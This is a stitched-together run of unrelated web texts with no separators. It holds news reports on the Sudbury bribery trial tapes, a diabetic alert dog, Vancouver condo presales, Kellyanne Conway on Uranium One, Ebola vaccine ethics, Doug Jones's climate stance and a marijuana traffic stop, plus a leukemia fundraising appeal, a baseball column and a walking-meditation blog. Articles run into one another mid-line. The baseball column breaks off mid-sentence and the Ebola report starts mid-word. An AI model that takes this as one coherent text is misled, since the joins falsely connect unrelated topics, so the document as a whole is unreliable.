Find your perfect baby name at Kidspot.com.au. Hashtag's not in the database.One of three tapes released on the opening day of the Sudbury bribery trial captured discord between Andrew Olivier and former Sudbury MPP Rick Bartolucci over the 2014 provincial election.
While two of the three tapes were already public knowledge, the third tape had never been made public.
Olivier is a quadriplegic and records important conversations as a form of note taking. He had taped discussions with then Premier Kathleen Wynne’s deputy chief of staff Patricia Sorbara and Liberal fundraiser Gerry Lougheed Jr. They talked about a Sudbury byelection that needed to be called after Joe Cimino, the NDP MPP for Sudbury, suddenly quit six months after winning the riding in 2014 provincial election.
Olivier had previously released two tapes of conversations he had with Sorbara and Lougheed in mid-December 2014 that are at the heart of the bribery trial. On those tapes, Sorbara and Lougheed tell Olivier that Wynne had another candidate in mind to run for the Liberals in the byelection that would be held in February 2015. That candidate turned out to be Glenn Thibeault, who at that time was the NDP MP for Sudbury.
However, the new tape, which just came to light a few days ago, recorded a conversation on Nov. 23 between Sorbara and Olivier in which they talked about the coming byelection. This was before Thibeault had emerged as Wynne’s preferred candidate for the Liberals.
Olivier tells Sorbara he didn’t get much help from the Liberal riding association in Sudbury, or from Bartolucci, who had been Liberal MPP for Sudbury until he decided to retire from politics.
He says “we were getting sabotaged by his camp” during the 2014 campaign. “There was nothing in terms of help.”
He says Bartolucci still controlled the riding association, but that he would need their support if he was going to win the byelection. He says he failure to do so for the 2014 election was “a rookie mistake” on his part. “I thought everyone had best intentions, especially in Rick’s camp.”
Sorbara tells Olivier the Liberal leadership was under the impression that he had Bartolucci’s full support during the campaign.
“He never campaigned with me, not once,” Olivier responds. “We had no public appearances together or anything.”
Olivier was the Liberal candidate in the Sudbury riding in the 2014 provincial election and finished second, less than 1,000 votes behind Cimino, then a well-known city councillor.
He was looking to be the Liberal nominee in the pending byelection to fill the seat vacated by Cimino.
Wynne, however, opted to appoint Thibeault, who won the byelection is now Ontario’s Energy minister. Olivier ran in the byelection as an independent and finished third.
Sorbara and Lougheed are accused of attempting to induce Olivier to withdraw from the 2015 byelection in favour of Thibeault
In the new tape released yesterday, Sorbara says Wynne and Bartolucci, a cabinet minister under Wynne and former premier Dalton McGuinty, didn’t get along. “Their relationship was not that great.”
She also says Bartolucci had indicated that if Lougheed were involved with the party, he would not be. “It’s Gerry or me,” Sorbara says.
“Gerry and I have a great relationship,” Olivier tells Sorbara, adding he was ready to work with him.
They also discussed holding the byelection quickly, noting the PCs did not have a leader at the time and that according to Olivier, “the NDP here are completely unorganized … When they get organized, they are a tough group,” he says.
Sorbara agrees, saying it “will be important to (NDP Leader Andrea) Horwath to hold the seat.” She also says Wynne was determined to win the riding back.
Sorbara later tells Olivier, “you are the past candidate, but you’re not the current candidate yet.”
“I’m in your hands, Pat,” Olivier replies. “Whatever direction you guys give me is what I’ll do.”
sud.editorial@sunmedia.caCLOSE Brystin and Jinni Fleetwood talk about Brystin's diabetic alert dog, Gracie Kelly Wilkinson/IndyStar
Buy Photo Brystin Fleetwood, 12, poses with her service dog, Gracie, at Riley Hospital for Children at IU Health on Aug. 10, 2016. (Photo: Kelly Wilkinson/IndyStar)Buy Photo
Brystin Fleetwood does not sense when her volatile blood sugar dips too low. Although the 12-year-old Bloomington girl cannot feel the changes in her body, a brown-and-white rescue dog who stays perpetually by her side can.
Brystin has Type 1 diabetes and falls in the 20 percent or so of diabetics whose sugar can dip with no warning symptoms. If her blood sugar drops too low, she could pass out or have seizures. When this happens, Gracie delivers a gentle nose bump to her hand, letting Brystin know it’s time to test her blood glucose level. After about 15 minutes, Brystin will recheck to see whether she needs more insulin to counteract high blood sugar or needs to eat something to bring a low sugar level back to normal range.
Gracie doesn’t take no for an answer. If Brystin ignores her, her lip quivers and she’ll bump again. If Brystin still doesn’t take action, Gracie will turn to Brystin’s mother, Jinni Fleetwood, and start nose-bumping her.
“She won’t give up,” Brystin said.
The same could be said for Brystin, who was diagnosed with diabetes when she was 7. She spent a few days in the hospital after her diagnosis, learning what foods to eat and how to monitor her insulin to ensure that her blood sugar goes neither too low nor too high, both potentially dangerous.
Buy Photo Gracie is a diabetic alert dog who alerts Brystin Fleetwood when her blood sugar is rapidly rising or dropping. (Photo: Kelly Wilkinson/IndyStar)
Doctors told the Fleetwoods about devices such as insulin pumps and continuous glucose monitors that made it easier for Brystin to deliver insulin to herself and to monitor her sugar levels. The technology helped, but Brystin and her mother still felt uncomfortable knowing that Brystin is “hypoglycemic unaware.”
Then, they heard about diabetes alert dogs, canines trained to smell when a person’s blood sugar is rapidly rising or falling. The idea appealed to Brystin. Jinni, too, saw the advantage of having a dog to help alert her daughter.
“This is a roller-coaster ride we’re on,” Jenni said. “That’s where all the extra tools come into play, like Gracie.”
A rescue dog, Gracie was trained to detect changes in Brystin’s saliva that signal dramatic blood sugar shifts. Gracie goes everywhere with the girl — to school, to cheer competitions — and sleeps by Brystin’s side because it’s not uncommon for the girl’s sugar levels to plummet while she sleeps. The one place Gracie can’t go with Brystin? Diabetes camp.
Buy Photo Gracie walks with Brystin Fleetwood outside Riley Hospital for Children at IU Health on Aug. 10, 2016. (Photo: Kelly Wilkinson/IndyStar)
Gracie alerts Brystin at least once a day and often much more.
Scientists remain divided on how good a job the dogs do. Studies tend to be small, such as one conducted in 2013 that found that more than a third of 36 people participating reported their dogs alerted them for all the hypoglycemic episodes they experienced in a month. Twenty-eight percent reported less than one missed episode per week, and 36 percent said their dogs missed more than one such event a week.
More recently, a study by an Oregon researcher of eight people and their dogs found that continuous glucose monitors did a far better job than dogs of telling patients with diabetes when they had hypoglycemia. In only 12 percent of the alerts that the dogs gave did the patient actually have hypoglycemia.
About five of the approximately 300 diabetes patients Dr. Todd Nebesio treats at Riley Health own service dogs. Nebesio has no problem when one of his patients, such as Brystin, decides he or she wants a dog. But the animals are expensive, and the evidence for how well they work is not strong.
“I think dogs are great. But they’re not for everyone,” said Nebesio, a pediatric endocrinologist at Riley Hospital for Children at IU Health.
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Jinni and Brystin agree that Gracie is more accurate than studies of diabetes-alert dogs suggest. Often, they say, Gracie alerts Brystin before the sensors do.
“She’s faster than all of our technology,” Brystin said.
The Fleetwood family can’t help but think that Gracie is special. Brystin raised money to purchase her, saving birthday and Christmas gifts and selling rubber loom bracelets. Then, a cousin, who was raising a 4-H pig, offered to donate the proceeds from his pig’s sale. Brystin named the pig Sparkles, dressed it in a pink tutu and got into the pen with the animal. Sparkles sold for about $17,500.
Brystin could now buy a dog, and she knew exactly what she wanted: a dog with spots and one blue eye, recognizing that the more specific she was, the longer she might wait for a dog. The first picture she saw was of Gracie — a brown and white dog with one blue eye.
Last year, Brystin met Gracie in Omaha, Neb. Gracie had "met" Brystin through swabs soaked with her saliva. On the very first day, Gracie alerted Bystin. For the past year, the two have been inseparable.
Buy Photo Gracie waits with Brystin Fleetwood for the elevator at Riley Hospital for Children at IU Health on Aug. 10, 2016. (Photo: Kelly Wilkinson/IndyStar)
When Brystin is on the move, Gracie is tethered to her with a leash that wraps around the girl’s waist. When Brystin sits, Gracie lies down with her body just inches away. Gracie makes having diabetes much more bearable, Brystin says.
“She makes it feel almost safe, because I know I won’t get that feeling as often as I used to, and I always have a companion,” she said.
Call IndyStar reporter Shari Rudavsky at (317) 444-6354. Follow her on Twitter: @srudavsky.
Read or Share this story: http://indy.st/2cw255CMajor condo developers in Vancouver are shutting out average buyers by selling their most affordable new units privately – to clients of select realtors and "family and friends" – before their advertised sale dates, The Globe and Mail has learned.
The typical sales contracts also allow those insiders to legally flip the units under construction (known as presale) before closing as long as the developer gets a cut from that transaction. Like shadow flipping with houses, flips of presale condos have been controversial in Vancouver. When supply is scarce and prices are escalating, flipping leaves buyers who want units to live in feeling ripped off or shut out.
Several realtors told The Globe deals with insiders are widespread and quietly encouraged by developers. In Vancouver's wildly expensive market, it is yet another obstacle for people who feel the deck is stacked against them.
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Mike Yeung would like to sell his small condo and buy a new one, but said he has encountered nothing but frustration. He said he worries some developers and realtors are withholding inventory from the public to drive up prices and profits.
"At two presale events, I was there in person," Mr. Yeung said. "Each time, I was informed that all the studio and all one-bedroom condos were already sold out … to the developer's family and friends."
Eager buyers camp out in lineups for hours or days before the sales events. Thousands also sign up online to get "VIP" access, only to find out on opening day they had no chance. Several have said they were then invited to buy something more expensive.
"It's shady and not forthright," Mr. Yeung said. "It's a bait and switch – to get you in the door."
Michelle Ly said she recently tried to buy into several developments.
"Everything in the one-bedroom or one-bedroom-and-den range was gone well before the official presale started," she said.
"It's super misleading and it wastes my time. My realtor and I would spend weeks trying to get information out of the developer, signing up for all the newsletters and touching base with their marketing people every other week. I felt bad for people waiting in line for days."
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Two developments were recently promoted by Rennie Marketing Systems, owned by Vancouver's most politically connected condo marketer, Bob Rennie, an outspoken advocate for increasing supply to cool the market.
Realtor Steve Saretsky contacted Rennie staff recently and said he was told most of the units in The Ellsworth, a new low-rise building in East Vancouver, have already gone to family and friends of the developer. When sales opened Monday at 8X on the Park, also marketed by Rennie, Mr. Saretsky said all the studio and one-bedroom units had been sold privately.
"I think we are being deceived," he said. "I think it's giving local people a false hope – that if we keep building and building and building, it's going to help them to find a home."
Mr. Rennie said developers advertise to the public as a sort of fallback policy. If the insiders who get first dibs do not buy enough units, they can sell what is left to the next tier of interested buyers.
"Nobody knows whether the person saying they want the studio will take the studio," Mr. Rennie said.
Mr. Rennie said 3,500 people expressed interest in just 89 units at The Ellsworth, including the realtors and other insiders. As a result of The Globe's inquiries, he said he now thinks all would-be-buyers should be told what they are up against.
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"From talking this through, I think once you get to a certain level of registrants, we should tell people," Mr. Rennie said. "I am going to suggest that [to developer-clients]."
Developer Magnum Projects, owned by George Wong, promoted its units in recent e-mails by telling the public, "You are eligible for our jump-the-queue program, allowing priority preview, best selection, and prelaunch pricing." Interested buyers who signed up later received another e-mail saying: "Studios and 1 bedrooms have been spoken for by the stakeholders, family and friends involved in this development."
The company did not reply to The Globe's requests for comment.
A spokesperson for Cressey, which built Kings Crossing in Burnaby, confirmed every one of the units in the first tower was sold privately to clients of select realtors, despite promotions to the public beforehand.
Mr. Saretsky and other agents said many buyers with exclusive access are speculators with no intention of living in the units. The contracts usually stipulate if the property is flipped within a set period, the developer takes a cut. Developers put that provision in their contracts several years ago to prevent speculators from flipping new condos and keeping all the profits.
For example, Mr. Saretsky said, one developer he is familiar with takes a cut of 5 per cent of the original sales price. On a condo that costs $750,000 – a typical price for one-bedroom units in luxury buildings – a flip would earn that builder an extra $37,500 without taking any risk, because the property is no longer its financial responsibility.
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These types of flips are done by contract assignment, where the original buyer sells the contract to another buyer before closing. B.C. has brought in new rules that limit the practice for single-family homes, but condo presales are exempt.
Toronto realtor Andrew la Fleur said condos are selling out to insiders in that hot market, too. He said he is one of the few agents whose clients get first crack at properties before the public. He estimates 95 per cent to 100 per cent of new condos are sold to insiders that way.
"I think the public is just unfortunately misinformed or uneducated," Mr. la Fleur said. "Those of us in the industry can see this coming a mile away and we know how to get our clients in at an opportune time."
However, he said he does not think most units in Toronto will be flipped, because condo prices are not increasing in that city like they are in Vancouver.BY: Follow @charleswrussell
White House counselor Kellyanne Conway on Friday rebuked the media for not covering a controversial deal that gave Russia control of more than 20 percent of America's uranium supply when Hillary Clinton was secretary of state, arguing the press was "obsessed" with Moscow when the main story concerned potential Russian ties to President Donald Trump.
Conway sparred with CNN anchor Alisyn Camerota about U.S. relations with Russia, focusing on the sale of a Canadian uranium mining company, Uranium One, to Russia's Atomic Energy Agency, Rosatom, that was approved by the Obama administration in 2010.
The White House counselor first said that she wanted to talk about the current opioid epidemic in the United States, which Trump declared a public health crisis on Thursday, before addressing the Uranium One deal.
"Well, first of all, the president is not worried about Uranium One. The people who should be worries about Uranium One are the people who benefited from it," Conway said. "His spouse didn't go make a half-a-million-dollar speech in Russia while he was secretary of state, then turn around and be part of the decision-making process for them to get 20 percent of our rights. He wasn't secretary of state or president at the time when Russian folks were trying to infiltrate the State Department and get an advantage for this particular deal."
Conway was referencing how former President Bill Clinton collected hundreds of thousands of dollars in Russian speaking fees and the Clinton Foundation received millions in donations from parties interested in the uranium deal while Hillary Clinton presided on the Committee on Foreign Investment in the United States, a government body that approved the agreement.
Russian nuclear officials had routed millions of dollars to the U.S. designed to benefit the Clinton Foundation, the Hill reported last week, adding that, according to FBI and court documents, "federal agents used a confidential U.S. witness working inside the Russian nuclear industry to gather extensive financial records, make secret recordings, and intercept emails as early as 2009 that showed Moscow had compromised an American uranium trucking firm with bribes and kickbacks in violation of the Foreign Corrupt Practices Act."
Camerota asked Conway whether Trump wants the former FBI informant to testify, noting, "Clearly he has some interest."
The Justice Department has given the informant the green light to testify before Congress, CNN reported.
"Shouldn't you?" Conway responded. "Shouldn't we all? CNN is so vested in Russia, Russia, Russia, don't you want to hear from everybody now? Or are we just going to drop the word Russia forever morning because it gets a little too close to the woman who ran last time?"
"We have talked about this for the last year so let's at least close the loop, can't we?" Conway added. "And look at what the Clinton campaign and the Democrats did."
Camerota pressed Conway on what about the uranium deal bothered her if the deal should have been struck.
Zero," Conway said. "What bothers me it is that we can't get all of you who have been obsessed about Russia, Russia, Russia to cover it now that the shoe is on the other foot."
"I think it's exactly what people hate about corruption and politicians and the swamp," she added. "I think they look at that and it's not difficult for them to connect the dots that you have one spouse giving a half-a-million-dollar speech, [and] you have another one that's the secretary of state.
"Whole 20 percent of the US. uranium rights go to a Russian interest. That's not difficult for people to understand," she added.**updated 12/19/14 as we get more info from Lee's medical records + experts in the field**My brother-in-law* Lee is in the fight for his life against treatable but advanced Chronic Mylogenous Leukemia. We're raising money to help him get the medical care outside of the VA that we believe he needs to survive.Lee is a 27-year old US Marine Corps Infantry Veteran (of FAST Company) who beat thyroid cancer 6 years ago. Orignally from a small town in Iowa, he has since married my sister* Roseann, has excelled in studying history at Loyola Marymount University in Los Angeles and is raising their 2 year old daughter Arieana. As a vet, Lee has been stuck in the broken VA system, which is currently insisting chemo is sufficient and has refused to cover the expense of a referral for a second opinion for a discussion about a transplant, which the VA could not do.The current insurance situation has us facing any non-VA costs with Medi-Cal or out of pocket. Whether or not a transplant will be his option is to be determined, but since it's the only known cure for CML** we want a chance to see a doctor who can even consider it!To help cover the financial burden of out of pocket care, we're raising funds to consult with a better doctor and if deemed appropriate, get him the transplant he needs. What the military insurance will cover remains uncertain, and since the family depends on scholarship money and disability payments from previous cancer to get by, the finances remain unclear, especially with a two year old to care for.We are in the battle of our family's lives - we're doing everything we can to cover living expenses while he takes a break from school and the Marine Corps families have provided incredible support. Lee is heavily involved in LMU's vet programs, so there's lots of love there too. We know that our Marine is a lion who fights and never complains, and as Lee said about chemo, "warning shots have been fired!"Prayers, forwards and leads on a good hemotologist/oncologist in the LA area are also welcome!Wishing you and yours a happy holiday season - I know I'm more grateful than ever for everyone in my life that I care about, including you.-Katie + the Kimball/Adams clanLee and his daughter helping vets at LMUAll dressed up and handsome!Papa Lee with ArieanaLee and Roseann's wedding at our home (mom officiated, dad walked her down the aisle!)Our family at Kelley's wedding*My family made Roseann one of our own in 2000. In the 14 years since, she's lived with us, shared holidays with us and my parents officiated her wedding to Lee. Lee drives what used to be my dad's Mustang (now with a better sound system), my mom is a Nana to their Arieana and they were supposed to be with us this Christmas in Michigan. I wanted to make this distinction in case anyone feels it's important, but as far as the Kimballs are concerned the Adams' family are blood.**Source: http://www.cancer.org/cancer/leukemia-chronicmyeloidcml/detailedguide/leukemia-chronic-myeloid-myelogenous-treating-bone-marrow-stem-cellThe Indians would not be where they are without the extraordinary work of Andrew Miller, the MVP of the American League Championship Series. Andrew Miller would not have been the MVP of the ALCS without the unconventional managing of Terry Francona. But there's a third leg of this stool, the back leg, small and obscured by perspective but just as necessary to keeping the thing standing: Terry Francona would probably not be managing unconventionally if it weren't for Cody Allen.
It's not often an outstanding closer goes underappreciated in the postseason. Mariano Rivera, to give the obvious example, might well go down as the greatest postseason hero ever. But even slightly lesser relievers like Jeurys Familia and Wade Davis and Koji Uehara and Sergio Romo and Kenley Jansen and Brian Wilson have all, for a few weeks in recent postseasons, been temporarily elevated to gods by the stakes and the tension of October. Allen has been as good this month as any of them were, which is valuable enough on its own. But in this case, it has been even more important because it has made the Andrew Miller experiment possible.
I have some experience in this. In the summer of 2015, as part of a book project with Ben Lindbergh, I ran the baseball operations of an independent minor league team called the Sonoma Stompers. This included pushing our managers (we replaced one midseason) toward certain in-game tactics. Nothing consumed our time and our powers of persuasion so much as trying to convince them that our best reliever should come in whenever we most needed our best reliever -- as Andrew Miller has been used this month -- instead of in the ninth inning by default. We ran into two obstacles, each specific to the manager in question, and each significant to understanding the role Cody Allen plays in Cleveland right now.
Our first manager, the old-school one, simply would not bring in our "closer" -- an outstanding sinkerballer named Sean Conroy -- if he wasn't sure that Conroy would be available for the final out. He saw the 27th out as infinitely more important than the 26 before it, and considerably more difficult to attain than the 26 before it. After one brutal loss, we tried again to convince our manager that Conroy should have been brought in for the biggest moment of the game -- with runners on and our opponent's best hitter batting in the seventh. "But then I don't have a closer," he said. "I need to have a closer. If I don't have a closer, I can't count on anybody else to get those last outs."
Our second manager, more open-minded to our numbers-driven recommendations, was convinced by the leverage-based argument for bringing Conroy in earlier. Eventually, he was calling for Conroy as early as the fifth inning, just like Francona has used Miller. But, like his predecessor, this manager also didn't trust anybody else to get the final out, so he would leave Conroy in the game all the way to the end, pretty much no matter what. This was thrilling to watch, but it introduced some new problems: Conroy was throwing 50, 60, 70 pitches in relief outings. That probably dimmed his effectiveness by the time the eighth and ninth innings came around, and it made him unavailable for a couple days afterward. The latter concern had its own ripples: We were sometimes gun-shy about bringing him in, knowing it would leave the back of our bullpen gutted for the next games.
For each manager, the obstacle to using Conroy the right way was the lack of another Conroy behind him. No matter how big the game situation, the manager can't stop worrying about the bigger situation that might come.
At the risk of burying Allen further under Miller's legend: Cody Allen is Terry Francona's second Andrew Miller. He's thrown fewer innings than Miller this postseason, but they've been almost every bit as good: Miller has a 47 percent |
io Pharmaceuticals and Profectus Biosciences.
The WHO says it hopes to see small-scale use of the first experimental Ebola vaccines in the West Africa outbreak by January next year.
It has convened vaccine specialists, epidemiologists, pharmaceutical companies and ethicists, for a meeting on Monday and Tuesday to discuss the moral and practical issues.
“Normally safety is the absolutely paramount thing when you’re developing a new vaccine, but this time we’re going to have to take more risks,” said Brian Greenwood, a professor at the London School of Hygiene and Tropical Medicine who will take part in the WHO-led meeting.
“Quite how we do that, and what risks we take, hasn’t really been thought through yet. That’s what people are trying to figure out.”
TWO THINGS AT THE SAME TIME
The chaos caused by the epidemic itself makes it even more difficult to deploy and track use of a new vaccine, said Hill.
“You’re trying to do two things at the same time: you’re trying to evaluate a vaccine and deploy it - when normally you would evaluate the vaccine first, by doing a randomized double blind controlled trial, and then you’d deploy it if it was shown to be safe and effective.”
Because Ebola virus is so deadly, those who receive a trial vaccine must be told to take all other precautions and protect themselves fully. This could make it harder for researchers to decipher whether the protective clothing and safety protocols, or the new vaccine, is what kept them safe.
Normally researchers testing a vaccine would give some volunteers a placebo, or dummy, to create a “control” group to compare against those who get the real drug. That seems unthinkable in a situation where disease with a death rate of up to 90 percent is raging through villages.
“Would it be ethical to do a trial where some people don’t get the vaccine because they are in the control group? Most people think it wouldn’t be - especially if you have reasonable evidence that the vaccine might work,” said Hill.
Jeremy Farrar, an infectious diseases expert and director of the Wellcome Trust medical charity, said limited supplies of any candidate vaccine could result in a form of natural control group being formed anyway. Researchers can compare populations where the vaccine is available with those where it isn’t.
GSK has said it is aiming to have 10,000 doses of its experimental shot by the end of the year, while Canada has given 800 vials of the NewLink candidate vaccine to the WHO, expected to yield at least 1,500 doses.
Most experts interviewed by Reuters favor the idea of the first doses going to frontline healthcare workers, since their exposure to risk is so high. Researchers could then compare infection rates among health workers who receive the vaccine to those working in regions still waiting for it.
Peter Piot, a co-discoverer of the Ebola virus in 1976 and now director of the London School of Hygiene and Tropical Medicine said that however complicated the ethics, reverting to the traditional years-long process of testing vaccines, and withholding them from West Africa until then, is not an option.
“It may be that without a vaccine, we can’t really stop this epidemic,” he said.Alabama will be sending a new senator to Washington who believes in science, opposes President Donald Trump’s withdrawal from the Paris climate agreement, and supports future investments in renewable energy over fossil fuels.
While environmental issues weren’t at the forefront of Doug Jones’ victorious Senate campaign, the former federal prosecutor ran on a decidedly progressive platform in a deep red state — including clear stances on climate action and clean energy. And after his surprise win on Tuesday, Jones will be in a position to deliver greater federal funding to protect Alabama’s environment. At the national level, Jones’ election to the Senate gives the Democrats another weapon to fight Trump’s anti-environment agenda.
“Jones ran a campaign that highlighted environmental issues. He wasn’t at all guarded about talking about the environment,” Matthew Gravatt, associate director of federal and administrative advocacy for the Sierra Club, told ThinkProgress. “He said he believes in science. He put that front and center. He talked about his support for the Paris agreement.”
The fact that Jones felt obligated to express his belief in science demonstrates the times we live in. The Trump administration is filled with officials who deny the science behind climate change and other environmental and public health hazards. Among congressional Republicans, climate science denial has increasingly become party doctrine over the past decade.
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If he had won, Roy Moore, the heavy favorite heading into Tuesday’s election, would have felt at home among his fellow Republicans in Congress. The Washington Post laid out how anti-science the Republican Party has become over the past decade in a recent headline: “Roy Moore is seen as extreme by many Republicans. But not on climate change.”
How Doug Jones – son of a steelworker and the grandson of a coal miner – feels about climate, energy and the environment https://t.co/XpWC8QgtJw pic.twitter.com/GLaUuYpVxK — Stephanie H. Damassa (@SLHDC) December 13, 2017
While Republicans will have a 51-49 majority, Jones’ election victory “makes the calculus in the Senate harder for the Republicans and for [Senate Majority Leader] Mitch McConnell [R-KY] to advance Trump’s agenda and the priorities that the Trump administration has, which have been bad environmentally speaking,” Gravatt said.
The Post highlighted a column Moore, a former chief justice on the Alabama Supreme Court, wrote in 2009 for WorldNetDaily, a far right news site, in which he stated: “Not only do scientists disagree on ‘global warming,’ but there is little hard evidence that carbon emissions cause changes to the global climate. But it appears that Obama and his liberal administration are not really interested in what the Constitution or the scientific community have to say when it interferes with their radical agenda.”
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In his column, Moore got the facts wrong on the science of climate change. Ninety-seven percent of publishing climate scientists agree that climate change is both happening and a product of human activity.
Jones’ position on climate change stands in stark contrast to the Trump administration. In September, AL.com, an Alabama-based news site, asked Jones to name a specific policy where he disagrees with Trump. Jones responded: “Because I actually believe in science, I disagree with the administration’s positions on climate change and the president’s unilateral decision to withdraw from the Paris Climate Accord.”
Jones’ election to the Senate shows that candidates can accept the science of climate change and support renewable energy and the voters will reward them for that, said Craig Auster, director of PAC and advocacy partnerships for the League of Conservation Voters. “We know most people believe climate change is real and most people support the transition to a clean energy future,” he said. “Having someone from a state like Alabama being a voice on that is going to be really impactful in the Senate.”
The League of Conservation Voters Action Fund, which works to elect candidates who support “common-sense environmental policies,” endorsed Jones’ candidacy in October, citing his history of supporting clean air and clean water for communities across Alabama. “We looked at the totality of Jones’ record and what he was standing for — the fact that he had spoken out on the campaign already about the importance of science, the importance of staying in the Paris climate agreement,” Auster said in an interview.
Prior to winning election to the U.S. Senate, Jones was best known for his work as a federal prosecutor in securing a conviction of two members of the Ku Klux Klan for their roles in the 1963 bombing of the 16th Street Baptist Church in Birmingham, Alabama, that killed for four girls and injured dozens more.
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Jones also made a name for himself in the case of a chemical plant in the town of Anniston, Alabama, that released poisonous toxins for decades. From 1929 to 1971, Monsanto Corp. produced PCBs at a manufacturing plant in the town, the vast majority of which were released in the area. Jones made regular appearances in Anniston, where he was the court-appointed authority to oversee the settlement between Monsanto and local residents poisoned by PCBs.
Moore also played a role in the PCB issue as chief justice of the Alabama Supreme Court. In 2001, Anniston residents sued Monsanto in hopes of getting the company to pay for health testing for local residents who were likely exposed to PCBs, even if they had not shown signs of disease. The state supreme court, including Moore as chief justice, rejected the claim, arguing that plaintiffs must be able to show injury before seeking any type of redress.
Stefanie Francisco, communications director for Conservation Alabama, said her group is hopeful that having a senator like Jones who prioritizes environmental and conservation issues will have a positive impact on the state. Alabama relies heavily on federal programs to take care of some of its basic environmental protections. The Alabama Department of Environmental Management receives grants from the U.S. Environmental Protection Agency, which were threatened in Trump’s proposed fiscal year 2018 budget.
“Having an advocate like Doug Jones in the Senate is something we’re really hopeful can translate into some on-the-ground protections for the state,” Francisco said.
Talking Points Memo’s Cameron Joseph observed that Jones did something surprising in his underdog Senate campaign: he ran like an actual Democrat. Jones proclaimed “liberal positions in a way that’s almost unheard of for Democrats running statewide in the Deep South,” Joseph wrote.
On his campaign website, Jones stated “the consequences of our unchecked use of fossil fuels for our planet and our health have been clear for decades. Period.” No one would expect a candidate in a heavily Republican region, let alone the Deep South, to make such definitive statements on the dangers of fossil fuels. Jones also emphasized that U.S. policymakers “should be encouraging investment in renewable energy and conservation.”
During the campaign, most of the focus was on jobs and health care — and on accusations by several women that Moore behaved inappropriately toward them — and in some cases, assaulted them — when most of them were minors and Moore was in his 30s.
For his part, Jones did not dismiss the plight of the working class, especially workers in the state’s coal industry. “I have enormous sympathy with the families in our state that have seen their incomes decline or their jobs vanish as coal prices have dropped,” his campaign website said. “Rather than promise that miners can return for generations to dangerous, scarcely regulated jobs, I believe America must step up to provide a safety net of health care and job retraining for these workers and prepare all children in Alabama for a 21st century economy.”
Cindy Lowry, executive director of the Alabama Rivers Alliance, emphasized that Jones did not run on the environment. “That’s not going to get you elected in Alabama,” she told ThinkProgress. “But he cares about people and he cares about justice and equality. That kind of ethic is important on environmental issues because so many of our environmental problems are most held on the backs of people of low income and people of color and communities that can’t afford to address the major threats to our waterways.”Two Nova Scotia men are facing drug charges after RCMP said they stopped a car stuffed with marijuana plants and a passenger in the trunk during a traffic stop on Prospect Road over the weekend.
Tantallon RCMP pulled the car over on Sunday at 10:05 p.m. because it was driving with no headlights.
"The driver of the Toyota Corolla was overcrowded by 20 marijuana plants which were loaded into the front and rear seats of his vehicle," RCMP Sgt. Alain LeBlanc said in a statement.
"A passenger was located in the trunk of the car, seemingly to make room for the marijuana in the front seat area."
A 23-year-old man from Brookside and a 24-year-old man from Hatchet Lake are each facing charges of possession of a controlled substance for the purpose of trafficking and cultivation.
They're scheduled to appear in Halifax provincial court on Oct. 30 to enter pleas.What Is a Walking Meditation?
You’ve likely heard the term mindfulness these days. It’s making its way into mainstream society. People are practicing it. People are talking about it. But what exactly is it? Despite what the common perception is, mindfulness practices and seated meditations do not have to be used synonymously. In fact, a seated meditation is just ONE way we can practice mindfulness. You can also use walking meditation, and many more.
My favourite definition of mindfulness comes from Jon Kabat-Zinn. (Which makes sense since he is the founder of the Mindfulness-Based Stress Reduction program!) “Mindfulness means paying attention in a particular way; On purpose, in the present moment, and non-judgmentally.” It truly helps us to live in the present moment. Which is what we constantly strive to achieve.
Because what other moments do we even have? I’ll let you ponder that for a second… Besides the present moment, what other moments do we actually have?
The answer… NONE! The past is already gone. Worrying about it or thinking about it can bring you stress, anxiety, pain etc. Same goes for the future. The sad realiation is that a lot of people spend their lives in these past and future thoughts, NEVER really living in the NOW. Never really enjoying the beautiful gift of the present moment they are in. For more on this, I highly suggest you read “The Power of Now” by Eckhart Tolle.
So, back to mindfulness.
By bringing our attention to something other than the non-stop flow of thoughts in our minds, we are able to focus on the present moment. To cherish living in the now. We are able to relieve our stress and anxiety. We are able to get back to who we really are and experience inner bliss! I realize the term “inner-bliss” may seem far-reaching. It may seem like a fairy tale of unicorns and mermaids. But I assure you, just because our society deems it normal to be living in states other than our natural state of bliss (stressed, worried, anxious, hurt, jealous, confused, frustration, anger, sick, tired, etc).
So I expect that a lot of you reading this will actually roll your eyes when you read me making a statement that you can literally get back to your feelings of inner bliss. Especially the fact I say “get back to your feelings of..” I know when I first heard that I was thinking “ummm what do you mean get back to? I’ve never felt inner bliss!” But YOU HAVE! It is your natural state of being. It is YOU. So by being mindful. By meditating and stripping away the “junk” we’ve accumulated simply by living on this earth, you can work towards those feelings of inner bliss!
So, now I will introduce to you ONE of the ways we can practice mindfulness.
A walking meditation!
During a walking meditation, we focus on the rhythm of our footsteps, clearing our minds of unnecessary chatter. We focus on the movement of our bones and muscles. On the feeling of the ground on the soles of our feet. We allow the sounds and sights of nature to nourish us, without thinking about what we are seeing. We just peacefully observe! It allows you to be more present in your body and in the present moment.
The simple experience of alternating steps with the left and right foot naturally helps create a meditative state. Buddha Weekly reflects on a walking meditation by saying “Because we don’t set ourselves a goal, or a particular destination, we don’t have to hurry, because there’s nothing there for us to get. Therefore, walking is not a means. It’s an end, by itself.”
So why do a walking meditation?
I mean, we all walk everyday, so wouldn’t it be a bit strange to started meditating while we are walking? Wouldn’t it be better to just find a quiet space and sit down?
As I always say, you do what is best for you! But I will highlight some of the benefits to a walking meditation for you.
It’s good for your body to move! Plain and simple!
You begin to appreciate the inner workings of your body that you would normally take for granted. Just the same as doing a heart rhythm meditation brings a new appreciation for your beating heart! It tests and builds your patience and endurance. Repeating the same movements, continuing to put one foot in front of the other, all while staying mindful strengthens your mind just as running would strengthen your legs! By engaging in an everyday activity in a completely different way, you are able to really practice mindfulness. You walk everyday. Yet I’m sure those walks are often spent thinking, labeling or judging. My favourite benefit is that a walking meditation has a more lasting effect! Think about it… when you are in a seated meditation and it comes to an end you likely stand up and then jump right back into thinking or doing. But, after a walking meditation, it is easier for us to continue to be mindful as it requires more concentration do be present while walking!
So now that I’ve sold you (or at least peaked your interest) on why you should try a walking meditation, let’s get into HOW.
Now if you want to do this the traditional Buddhist way, there’s a short video you can watch here. But for the purpose of this blog today, I’m going to teach you a way that may work better for you.
How to do a walking meditation
To begin, simply stand still (preferably outdoors), connecting with the earth. Allow yourself to really feel the earth below you. Observe how your body feels. How the soles of your feet feel. Take some deep breaths. When you feel calm and connected, gaze at the ground below you and prepare to take your first step. As you slowly lift your first foot, really feel into what is happening. Pay attention to how your ankle feels, your legs, your hips. When you begin to place your foot down ahead of you, slowly allow your heel to touch first, then the balls of your feet, then your toes.
